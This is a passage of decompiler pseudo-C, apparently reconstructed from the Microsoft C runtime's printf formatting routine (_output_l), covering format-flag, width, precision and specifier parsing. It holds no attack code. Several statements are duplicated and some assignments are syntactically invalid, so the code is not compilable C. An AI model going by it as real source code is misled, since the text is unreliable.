													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E00434240(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E00435770( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E00435730(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C550( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428268))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E00431230( *(_t524 - 0x251) & 0x000000ff, E0041AE60(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00435690( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00435690( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E390();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422E80(_t509))) = 0x16;
																		E00422C10(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041AE30(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x4282a0; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428288))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x4282c8; // 0x7b7f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M004282B4))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x428334; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004282F8))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AE60(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xf86dff92
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xa86dfc78
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x886dfc7f
																						E004246D0(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004283B0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E00428370(__ebp + 0x14);
																		__eax = E00433F20();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E390();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																			__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE30(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BCD0(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
